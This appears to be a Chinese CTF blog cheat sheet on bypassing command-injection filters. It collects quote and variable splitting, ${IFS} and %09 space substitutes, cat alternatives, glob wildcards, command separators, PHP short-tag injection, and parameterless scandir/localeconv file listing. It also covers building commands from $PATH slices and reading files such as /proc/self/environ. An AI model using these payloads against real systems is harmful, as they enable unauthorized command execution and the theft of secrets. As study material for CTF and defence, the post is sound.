网上这种文章挺多的,也挺全的,我就简单记录一下自己遇到的,以后慢慢更新~~~

常见绕过

l``s
l''s
l""s
l$@s
l$*s
l<>s

空格绕过

> < <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20
%09
\x20
ps:%09不属于数字

cat被过滤

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
xxd:可以查看
file -f:报错出具体内容
sh /flag 2>&1:通过运行shell报错,重定向输出
php /flag:文件内容会被当成php代码执行,相当于是include
php -f/flag:运行指定文件
tee:写文件 ls|tee a.txt
;    //两条命令都执行(window下不支持分号)
|    //只执行后面那条命令
||    //只执行前面那条命令
&    //两条命令都会执行
&&    //两条命令都会执行,如果其左侧的命令不返回预期的结果,其右侧的命令就不会执行
/bin/cat==cat
可以/bin/?at (最好不要 /bin/c?t 或/bin/ca?)
不可以?at
cat命令是存在/bin/cat 因为默认配置了环境变量才可以直接使用cat,但实际上cat是可以使用/bin/cat
glob支持用[^x]的方法来构造“这个位置不是字符x”
glob支持利用`[0-9]`来表示一个范围
比如用通配符?来匹配flag.php
存在flag.php和flzg.php
????.???两个都可以匹配到
所以用??[^z]?.???来排除flzg.php

.

.可以用当前的shell执行一个文件中的命令
<?= 相当于<?php echo
使用时先用?>将前面闭合
如id=?><?=`ls`;
/bin  中存在一个命令base64,用法为/bin/base64
如/bin/base64 flag 将flag中的内容用base64输出
bin为binary的简写主要放置一些系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等 
魔术变量:`echo __FILE__`文件完整路径与文件名
scandir('.')    查看当前目录所有文件名
scandir(current(localeconv()))=scandir('.')

无参数命令读取
print_r(scandir('.'))

可以用来查看当前目录所有文件名

但是这里说的是要构造无参数的函数,所以我们要做的就是去掉这个点号

  • localeconv() 函数返回一包含本地数字及货币格式信息的数组。
  • current() 函数返回数组中的当前元素(单元),默认取第一个值,
  • pos() 同 current() ,是current()的别名
  • reset() 函数返回数组第一个单元的值,如果数组为空则返回 FALSE

localeconv() 函数 返回数组的第一项就是 . (小数点)

print_r(scandir(current(localeconv())));
print_r(scandir(pos(localeconv())));
print_r(scandir(reset(localeconv())));

一般配合array_reverse逆转数组,next()函数进行下一个值的读取,highlight_file输出文件

  • $GLOBALS 引用全局作用域中可用的全部变量
  • get_defined_vars() 返回由所有已定义变量所组成的数组

    var_dump($GLOBALS);
    var_dump(get_defined_vars());

    get_cfg_var — 获取 PHP 配置选项的值

    var_dump(get_cfg_var('disable_functions'));
    var_dump(get_cfg_var('open_basedir'));

利用$PATH

root@xiaolong:~# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
root@xiaolong:~# echo ${PATH:5:1}
l
root@xiaolong:~# echo ${PATH:2:1}
s
root@xiaolong:~# echo ${PATH:5:1}${PATH:2:1}
ls
root@xiaolong:~# ${PATH:5:1}${PATH:2:1}
chromedriver  chromedriver_linux64.zip    google-chrome-stable_current_amd64.deb    install.sh

一些重要文件

/etc/apache2/sites-enabled/000-default.conf //apache配置文件,里面有网站目录
/var/log/nginx/access.log //日志文件
/proc/self/cmdline //查看当前进程
/proc/self/environ //获取当前程序运行时候的环境变量

这些算是文件包含要考的东西,先记这吧

最后修改:2023 年 12 月 15 日
如果觉得我的文章对你有用,请随意赞赏